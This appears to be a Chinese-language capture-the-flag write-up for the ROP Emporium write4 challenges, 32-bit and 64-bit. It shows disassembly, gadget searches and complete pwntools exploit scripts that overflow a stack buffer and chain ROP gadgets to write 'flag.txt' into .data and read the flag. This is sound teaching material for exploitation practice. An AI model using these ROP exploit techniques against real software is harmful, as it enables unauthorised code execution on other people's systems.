1. write432
信息收集
题目给了3个文件:write432, libwrite432.so, flag.txt。
$ file write432
write432: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7142f5deace762a46e5cc43b6ca7e8818c9abe69, not stripped
$ ldd write432
linux-gate.so.1 (0xf7f24000)
libwrite432.so => ./libwrite432.so (0xf7f1c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d29000)
/lib/ld-linux.so.2 (0xf7f25000)
$ checksec libwrite432.so
[*] '/home/starr/Documents/CProject/pwn/libwrite432.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
黑盒测试
$ ./write432 < cyclic.txt
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
Segmentation fault (core dumped)
$ gdb -q ./write432 ./write432.core.10133
Core was generated by `./write432'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x6161616c in ?? ()
> cyclic -l 0x6161616c
44
溢出点位于偏移44字节处。
反汇编
$ objdump -d -M intel write432
080483b0 <pwnme@plt>:
080483d0 <print_file@plt>:
08048506 <main>:
8048506: 8d 4c 24 04 lea ecx,[esp+0x4]
804850a: 83 e4 f0 and esp,0xfffffff0
804850d: ff 71 fc push DWORD PTR [ecx-0x4]
8048510: 55 push ebp
8048511: 89 e5 mov ebp,esp
8048513: 51 push ecx
8048514: 83 ec 04 sub esp,0x4
8048517: e8 94 fe ff ff call 80483b0 <pwnme@plt>
804851c: b8 00 00 00 00 mov eax,0x0
8048521: 83 c4 04 add esp,0x4
8048524: 59 pop ecx
8048525: 5d pop ebp
8048526: 8d 61 fc lea esp,[ecx-0x4]
8048529: c3 ret
0804852a <usefulFunction>:
804852a: 55 push ebp
804852b: 89 e5 mov ebp,esp
804852d: 83 ec 08 sub esp,0x8
8048530: 83 ec 0c sub esp,0xc
8048533: 68 d0 85 04 08 push 0x80485d0 # nonexistent
8048538: e8 93 fe ff ff call 80483d0 <print_file@plt>
804853d: 83 c4 10 add esp,0x10
8048540: 90 nop
8048541: c9 leave
8048542: c3 ret
08048543 <usefulGadgets>:
8048543: 89 2f mov DWORD PTR [edi],ebp
8048545: c3 ret
主函数调用了so中的pwnme,另一个函数usefulFunction则是调用了so的print_file,显然要用来输出flag。
反汇编一下so:
$ objdump -d -M intel libwrite432.so
0000069d <pwnme>:
69d: 55 push ebp
69e: 89 e5 mov ebp,esp
6a0: 53 push ebx
6a1: 83 ec 24 sub esp,0x24
6a4: e8 f7 fe ff ff call 5a0 <__x86.get_pc_thunk.bx>
6a9: 81 c3 57 19 00 00 add ebx,0x1957
6af: 8b 83 f8 ff ff ff mov eax,DWORD PTR [ebx-0x8]
6b5: 8b 00 mov eax,DWORD PTR [eax]
...
6e7: 83 c4 10 add esp,0x10
6ea: 83 ec 04 sub esp,0x4
6ed: 6a 20 push 0x20
6ef: 6a 00 push 0x0
6f1: 8d 45 d8 lea eax,[ebp-0x28]
6f4: 50 push eax
6f5: e8 86 fe ff ff call 580 <memset@plt>
6fa: 83 c4 10 add esp,0x10
6fd: 83 ec 0c sub esp,0xc
...
724: 68 00 02 00 00 push 0x200
729: 8d 45 d8 lea eax,[ebp-0x28]
72c: 50 push eax
72d: 6a 00 push 0x0
72f: e8 cc fd ff ff call 500 <read@plt>
734: 83 c4 10 add esp,0x10
737: 83 ec 0c sub esp,0xc
...
74d: c9 leave
74e: c3 ret
0000074f <print_file>:
74f: 55 push ebp
750: 89 e5 mov ebp,esp
752: 53 push ebx
753: 83 ec 34 sub esp,0x34
756: e8 45 fe ff ff call 5a0 <__x86.get_pc_thunk.bx>
75b: 81 c3 a5 18 00 00 add ebx,0x18a5
761: c7 45 f4 00 00 00 00 mov DWORD PTR [ebp-0xc],0x0
768: 83 ec 08 sub esp,0x8
76b: 8d 83 4b e8 ff ff lea eax,[ebx-0x17b5]
771: 50 push eax
772: ff 75 08 push DWORD PTR [ebp+0x8]
775: e8 f6 fd ff ff call 570 <fopen@plt> fopen(arg0)
77a: 83 c4 10 add esp,0x10
77d: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
780: 83 7d f4 00 cmp DWORD PTR [ebp-0xc],0x0
784: 75 1f jne 7a5 <print_file+0x56>
...
7a5: 83 ec 04 sub esp,0x4
7a8: ff 75 f4 push DWORD PTR [ebp-0xc]
7ab: 6a 21 push 0x21
7ad: 8d 45 d3 lea eax,[ebp-0x2d]
7b0: 50 push eax
7b1: e8 6a fd ff ff call 520 <fgets@plt>
7b6: 83 c4 10 add esp,0x10
7b9: 83 ec 0c sub esp,0xc
...
7c5: 83 c4 10 add esp,0x10
7c8: 83 ec 0c sub esp,0xc
7cb: ff 75 f4 push DWORD PTR [ebp-0xc]
7ce: e8 5d fd ff ff call 530 <fclose@plt>
7d3: 83 c4 10 add esp,0x10
7d6: c7 45 f4 00 00 00 00 mov DWORD PTR [ebp-0xc],0x0
7dd: 90 nop
7de: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]
7e1: c9 leave
7e2: c3 ret
思路
Payload构造:pwnme返回地址覆盖为print_file,紧跟"flag.txt"字符串的地址。
首先考虑字符串存在哪里。payload输入后,肯定是在栈里,但获取栈地址又是另一个问题。
一般是存在可读写的section里,比如.data:
$ readelf -S write432
...
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
...
那么,就需要一段gadget来把栈里的8字节字符串“flag.txt” 分两次存进.data中。那么这段gadget需要两个数据:
- 字符串
- 目标地址
可以先搜一下pop,用来取出“flag”和“.txt”:
pwndbg> rop --grep "pop"
...
0x08048525 : pop ebp ; lea esp, [ecx - 4] ; ret
0x080485ab : pop ebp ; ret
0x080485a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x08048524 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080485aa : pop edi ; pop ebp ; ret
0x080485a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048527 : popal ; cld ; ret
注意到0x080485a8这里的指令,pop了4次,但寄存器比较多,需要搜索更多gadget来配合。0x080485aa这里pop了两次,可以从payload先后取出.data目标地址和字符串,重复执行两次。
移入.data需要类似mov [edi], ebp
, 或者mov [ebp], edi
这种指令。
pwndbg> rop --grep "mov [edi]"
0x08048422 : hlt ; mov ebx, dword ptr [esp] ; ret
0x0804837e : in al, dx ; or al, ch ; mov ebx, 0x81000000 ; ret
0x08048543 : mov dword ptr [edi], ebp ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret
GET! 0x08048543就是我们需要的gadget。当然这其实是出题人设置的。
构造payload:
padding
pGadget1 pop edi ; pop ebp ; ret
pData pop to edi
"flag" pop to ebp
pGadget2 mov dword ptr [edi], ebp
pGadget1 重复两次
pData+4
".txt"
pGadget2
pPrintFile
padding 当然最好是一个正常的返回地址
pData
Exp
from pwn import *
context.arch = "i386"
context.bits = 32
context.os = "linux"
context.log_level = 'debug'
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
io = getio("./write432")
nBufOverflowIndex = 44
pPltPrintFile = 0x080483d0;
pGadgetPopEdiEbp = 0x080485aa # pop edi ; pop ebp ; ret
pGadgetMoveEbpToEdi = 0x08048543 # mov dword ptr [edi], ebp
pData = 0x0804a018
payload = bytes("A" * nBufOverflowIndex, encoding="ascii")
payload += p32(pGadgetPopEdiEbp)
payload += p32(pData) # pop to edi
payload += bytes("flag", encoding="ascii") # pop to ebp
payload += p32(pGadgetMoveEbpToEdi)
payload += p32(pGadgetPopEdiEbp) # 重复2次
payload += p32(pData+4) # pop to edi
payload += bytes(".txt", encoding="ascii") # pop to ebp
payload += p32(pGadgetMoveEbpToEdi)
payload += p32(pPltPrintFile)
payload += bytes("B" * 4, encoding="ascii")
payload += p32(pData)
io.recvuntil(">")
# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()
2. write4
64位版本。
反汇编
$ objdump -d -M intel write4
0000000000400510 <print_file@plt>:
...
0000000000400617 <usefulFunction>:
400617: 55 push rbp
400618: 48 89 e5 mov rbp,rsp
40061b: bf b4 06 40 00 mov edi,0x4006b4
400620: e8 eb fe ff ff call 400510 <print_file@plt>
0000000000400628 <usefulGadgets>:
400628: 4d 89 3e mov QWORD PTR [r14],r15
40062b: c3 ret
40062c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
...
$ objdump -d -M intel libwrite4.so
00000000000008aa <pwnme>:
...
8eb: 48 8d 45 e0 lea rax,[rbp-0x20]
8ef: ba 20 00 00 00 mov edx,0x20
8f4: be 00 00 00 00 mov esi,0x0
8f9: 48 89 c7 mov rdi,rax
8fc: e8 5f fe ff ff call 760 <memset@plt>
...
91e: 48 8d 45 e0 lea rax,[rbp-0x20]
922: ba 00 02 00 00 mov edx,0x200
927: 48 89 c6 mov rsi,rax
92a: bf 00 00 00 00 mov edi,0x0
92f: e8 3c fe ff ff call 770 <read@plt>
...
0000000000000943 <print_file>:
943: 55 push rbp
944: 48 89 e5 mov rbp,rsp
947: 48 83 ec 40 sub rsp,0x40
94b: 48 89 7d c8 mov QWORD PTR [rbp-0x38],rdi
94f: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0
956: 00
957: 48 8b 45 c8 mov rax,QWORD PTR [rbp-0x38]
95b: 48 8d 35 d5 00 00 00 lea rsi,[rip+0xd5] # a37 <_fini+0x67>
962: 48 89 c7 mov rdi,rax
965: e8 36 fe ff ff call 7a0 <fopen@plt>
...
关注的信息:
- 溢出点偏移 –
(rbp+8) - (rbp-0x20)==0x28
; - print_file@plt的地址 – 0x400510;
- 传参方式,这里应该以usefulGadgets为准,用edi传递flag.txt字符串地址, 所以还要搜索一个pop rdi的gadget。其实如果没有usefulGadgets提示,按照调用约定也应该是rdi,当然最靠谱的还是以print_file汇编为准。
Payload
搜索一下gadget:
pwndbg> rop --grep "pop"
...
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pwndbg> rop --grep "mov"
...
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400677 : mov edi, ebp ; call qword ptr [r12 + rbx*8]
0x0000000000400676 : mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x0000000000400690的两次pop,以及0x0000000000400628的mov可以搭配使用。
0x0000000000400693处的pop rdi用来把栈中的"flag.txt"字符串地址传给rdi。
.data地址:
$ readelf -S write4
[23] .data PROGBITS 0000000000601028 00001028
0000000000000010 0000000000000000 WA 0 0 8
64位可以依次操作8个字节,所以可以一次写入“flag.txt”字符串了。
构造payload:
padding 长0x28
pGadget1 pop r14 ; pop r15 ; ret
pData pop to r14
"flag.txt" pop to r15
pGadget2 mov qword ptr [r14], r15 ; ret
pGadget3 pop rdi ; ret
pData
pPrintFile
Exp
from pwn import *
context.arch = "amd64"
context.bits = 64
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
io = getio("./write4")
nBufOverflowOffset = 0x28
pPltPrintFile = 0x400510
pGadgetPopR14R15 = 0x0000000000400690 # pop r14 ; pop r15 ; ret
pGadgetMoveR15ToR14 = 0x0000000000400628 # mov qword ptr [r14], r15 ; ret
pGadgetPopRdi = 0x0000000000400693 # pop rdi ; ret
pData = 0x0000000000601028
payload = bytes("A" * nBufOverflowOffset, encoding="ascii")
payload += p64(pGadgetPopR14R15)
payload += p64(pData) # pop to r14
payload += bytes("flag.txt", encoding="ascii") # pop to r15
payload += p64(pGadgetMoveR15ToR14)
payload += p64(pGadgetPopRdi) # rdi = "flag.txt"
payload += p64(pData)
payload += p64(pPltPrintFile) # PrintFile(rdi)
io.recvuntil(">")
# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()